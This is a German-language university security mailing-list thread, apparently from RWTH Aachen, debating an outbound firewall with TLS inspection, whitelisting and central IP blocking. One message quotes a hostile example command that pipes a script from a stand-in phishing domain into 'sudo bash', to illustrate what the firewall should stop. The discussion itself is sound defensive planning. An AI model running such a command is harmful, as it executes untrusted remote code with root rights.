Hallo,

ein paar technische Anmerkungen zum Betrieb einer solchen
Firewall:

Wenn beim outgoing traffic was auffällt, ist das Kind meistens ja
schon in den Brunnen gefallen.
Ich kriege die email, Sie haben arbeit, also dann Stunden später,
statt wie bisher Tage später.

Wahrscheinlich wird es sehr einfach sein, die Betriebssystem Update Server
auf die Whitelist zu setzen.
Meist wird  beim linux ja eine https Verbindung zu denen aufgebaut.

Für mein Institut finde ich den Filter für ssh Server sehr sinnvoll.
Wer outgoing traffic machen möchte bei mir, soll bitte vpn nehmen,
bzw. ein weiteres ssh auf einen client machen.

Für https betreibe ich seit grob einem Jahr schon die mod_security Webfirewall,
die sowas macht wie deep inspection.

Da habe ich folgende Dienste auf die Whitelist setzen müssen,
da sie sonst richtig nicht funktionieren:

svn über https
git über https
webmail über https
smartsieve über https

Was auch nicht geht, worüber ich aber sehr froh bin,
ist das editieren des CMS Webcontent Systems.
Änderungen daran sind nur RWTH intern möglich.

Weiterhin sehe ich überall da Testbedarf, wo eine Webapplikation eine
Form aufmacht, über die Daten geschickt werden.
Da alles über den gleichen Server läuft, müsste die Whitelist also url-basiert gehen.

Log Auszüge per email finde ich gruselig.
Da fände ich einen Auszug per rsyslog besser.

Ein wenig künstliche Intelligenz liesse sich einführen, wenn genug Institute
und Admins mitmachen.

Wenn die IP-Adressen von failed logins auf ssh / imap / smtp / rdp Servern
zentral gemeldet würden und böse https Anfragen auch,
dann könnte die zentrale firewall eine IP blocken, wenn sie von mindestens
x Instituten gemeldet wird.

Viele Grüße

Frank Knoben

Hi,

Am 11.02.19 um 10:11 schrieb Hinrikus Wolf:

nachdem hier andere aus der FSMPI etwas mit der Polemik übertrieben
haben, möchte ich mal versuchen konstruktiv zu sein.

danke. Wurde dann ja auch so fortgeführt.

Es geht darum, dass Anfragen von (bestimmten) Servern ins große Internet
überwacht werden sollen, also z.B. das berühmte

curl http(s)://richtig-phishige-domain.tld/install.sh | sudo bash.

Was natürlich auch von Malware gemacht werden kann.

Richtig. Darum geht es.

Zum Vorgehen möchte ich anmerken, dass ich das etwas geschickter
gefunden hätte, wenn die erste Ankündigung von einer IT-Adminrunde
passiert wäre.

Ich finde es besser, hier ein offene Diskussion mit Euch zu führen,
um zu erfahren, was geht, was nicht geht, wo der Schuh drückt usw ...

Die Admin-Runde kommt dann dran, wenn wir unter Berücksichtigung
aller Einwände und nach ein paar Tests mit Freiwilligen ein Konzept
haben, mit dem arbeiten wollen. Aber das ganze soll dieses Jahr stattfinden.

Ich würde gerne mal wissen, ob ihr das auf euren eigenen Systemen schon
getestet habt. Wenn ja, mit welchem Erfolg?
Malware gefunden? False Positives? Leistungseinbußen? (Hast du Zahlen?,
welche System sind betroffen).

Ich habe mir als proof of concept so einen Setup für mein Laptop
genauer: ein kleines Netz aufgebaut. In das Netz stecke ich schon mal
den einen oder anderen Virenverseuchten Rechner, und ja, das hilft.

Betriebliche Erfahrungen mit Servern haben wir noch nicht.

Die Kollegen aus Clausthal haben beim umgekehrten Weg
(also der externe Traffic zu HTTPS-Servern im Hochschulnetz)
keine nennenswerten Einbußen bemerkt:

	https://www.dfn.de/fileadmin/3Beratung/Betriebstagungen/bt68/BT68_IPWIN_Intrusion_Prevention_Next_Generation_Firewalls_Strauf.pdf

Für welche Server soll das am Ende gelten? Alle? Alle, die Freigaben  in
der "Great Wall of Aachen" haben? Ausgewählte, die als kritisch
betrachtet werden?

Zunächst mal möchte ich einen hohen Anteil der Systeme
haben, die Dienste für die Welt anbieten.
Das ich 100% der Systeme nicht kriege, ist mir auch klar.

Eine Fragestellung für mich ist zum Beispiel, wie
spezifisch könnnen Ausnahmen formulieren.

Wenn die kritischen Kommunikationspartner eines
Servers bekannt sind (z.B. die Bank), kann man
solchen Traffic heutzutage ausnehmen.

Soll nur überwacht werden oder auch geblockt werden?

Nun, eine IPS Komponente wird blocken, wenn sie meint,
hier passiert etwas schlimmes.

Ja, und "false positives" gibt es. Bisher ist das
aber beherrschbar. Ich denke nicht, dass der Anteil wesentlich steigt,
wenn man in TLS reinschaut.

Ich denke das sind genug Fragen. Eine Anmerkung bleibt:
https://jhalderm.com/pub/papers/interception-ndss17.pdf

Interessantes Paper, betrifft aber eine etwas andere Geräteklasse.
Aber Tests dieser Art wären hier auch interessant, und der Hersteller
der Firewallsysteme interessiert sich durchaus für Anmerkungen
und Verbesserungsvorschäge seiner Kunden und setzt so etwas auch um.

Die schreiben, warum eine Aufbrechen von TLS-Traffic meistens eine
Verringerung der Sicherheit bedeutet.

Wenn hier jemand solche Tests machen will, ist er herzlich willkommen.

Gruß, Jens Hektor

_______________________________________________
rwth-security mailing list -- rwth-security@lists.rwth-aachen.de
To unsubscribe send an email to rwth-security-leave@lists.rwth-aachen.de